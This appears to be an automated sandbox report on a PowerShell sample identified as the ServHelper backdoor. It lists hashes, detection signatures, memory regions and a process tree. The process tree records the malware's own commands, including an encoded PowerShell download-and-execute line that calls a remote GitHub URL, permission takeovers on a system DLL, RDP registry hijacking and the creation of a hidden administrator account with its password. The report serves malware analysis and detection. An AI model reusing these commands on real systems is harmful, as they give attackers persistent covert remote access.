Analysis

  • max time kernel
    123s
  • max time network
    86s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    18-08-2021 13:28

General

  • Target

    b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1

  • Size

    2.6MB

  • MD5

    35c34f487155cf7fc72c3146bfa1a016

  • SHA1

    7ee148a4481dcbaba8e63235356f931243f30b37

  • SHA256

    b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfacff1fd5d

  • SHA512

    188daeb03aa63c289649f45ead6f7d66d20d9549ed673c4449bc5b353b992654de78d114f784bf7f582a12daf029084e21123fff57e5318188de650d7099c32b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1
    1⤵
    • Deletes itself
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bkor3f3f\bkor3f3f.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:588
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB9FC.tmp" "c:\Users\Admin\AppData\Local\Temp\bkor3f3f\CSC214DF0007E2C4E6FBC15224A8234D3C.TMP"
        3⤵
          PID:388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:824
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1672
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1636
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:952
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1144
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:692
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1516
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:576
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1628
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        2⤵
          PID:1496
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          2⤵
          • Modifies registry key
          PID:1312
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          2⤵
            PID:968
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1860
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
                PID:1936
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1572
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1840
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1920
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    5⤵
                      PID:2008
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                2⤵
                  PID:1160
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    3⤵
                      PID:1512
                      • C:\Windows\system32\net.exe
                        net start TermService
                        4⤵
                          PID:832
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            5⤵
                              PID:700
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        2⤵
                          PID:1336
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          2⤵
                            PID:672
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc 000000 /del
                          1⤵
                            PID:1668
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc 000000 /del
                              2⤵
                                PID:1648
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                  3⤵
                                    PID:1336
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user WgaUtilAcc j5uA500A /add
                                1⤵
                                  PID:1144
                                  • C:\Windows\system32\net.exe
                                    net.exe user WgaUtilAcc j5uA500A /add
                                    2⤵
                                      PID:1204
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user WgaUtilAcc j5uA500A /add
                                        3⤵
                                          PID:1600
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                      1⤵
                                        PID:1088
                                        • C:\Windows\system32\net.exe
                                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          2⤵
                                            PID:2032
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              3⤵
                                                PID:316
                                          • C:\Windows\System32\cmd.exe
                                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                            1⤵
                                              PID:992
                                              • C:\Windows\system32\net.exe
                                                net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                2⤵
                                                  PID:2024
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                    3⤵
                                                      PID:1596
                                                • C:\Windows\System32\cmd.exe
                                                  cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                  1⤵
                                                    PID:296
                                                    • C:\Windows\system32\net.exe
                                                      net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      2⤵
                                                        PID:740
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          3⤵
                                                            PID:1296
                                                      • C:\Windows\System32\cmd.exe
                                                        cmd /C net.exe user WgaUtilAcc j5uA500A
                                                        1⤵
                                                          PID:1556
                                                          • C:\Windows\system32\net.exe
                                                            net.exe user WgaUtilAcc j5uA500A
                                                            2⤵
                                                              PID:1336
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 user WgaUtilAcc j5uA500A
                                                                3⤵
                                                                  PID:672
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic path win32_VideoController get name
                                                              1⤵
                                                                PID:1532
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path win32_VideoController get name
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:948
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic CPU get NAME
                                                                1⤵
                                                                  PID:1628
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic CPU get NAME
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1840
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                  1⤵
                                                                    PID:1232
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      2⤵
                                                                        PID:1964
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          3⤵
                                                                          • Blocklisted process makes network request
                                                                          • Drops file in Windows directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:916

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v6

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • memory/528-89-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-112-0x000000001B630000-0x000000001B631000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-91-0x0000000002960000-0x0000000002961000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-92-0x0000000002470000-0x0000000002471000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-85-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/528-87-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-98-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/528-84-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/528-111-0x000000001B510000-0x000000001B511000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/824-140-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/824-141-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/916-121-0x000000001B600000-0x000000001B601000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/916-196-0x0000000019514000-0x0000000019516000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/916-124-0x00000000024F4000-0x00000000024F6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/916-227-0x000000001951A000-0x0000000019539000-memory.dmp

                                                                      Filesize

                                                                      124KB

                                                                    • memory/916-122-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/916-126-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/916-195-0x0000000019510000-0x0000000019512000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/916-119-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/916-125-0x0000000002870000-0x0000000002871000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-78-0x000000001BA20000-0x000000001BA21000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-67-0x000000001C3E0000-0x000000001C3E1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-93-0x000000001AB0A000-0x000000001AB29000-memory.dmp

                                                                      Filesize

                                                                      124KB

                                                                    • memory/1116-60-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1116-77-0x000000001B990000-0x000000001B991000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-76-0x000000001B590000-0x000000001B591000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-63-0x00000000024A0000-0x00000000024A1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-64-0x0000000002860000-0x0000000002861000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-75-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-62-0x000000001AB80000-0x000000001AB81000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-65-0x000000001AB00000-0x000000001AB02000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1116-149-0x000000001C620000-0x000000001C621000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1116-66-0x000000001AB04000-0x000000001AB06000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1116-61-0x0000000002350000-0x0000000002351000-memory.dmp

                                                                      Filesize

                                                                      4KB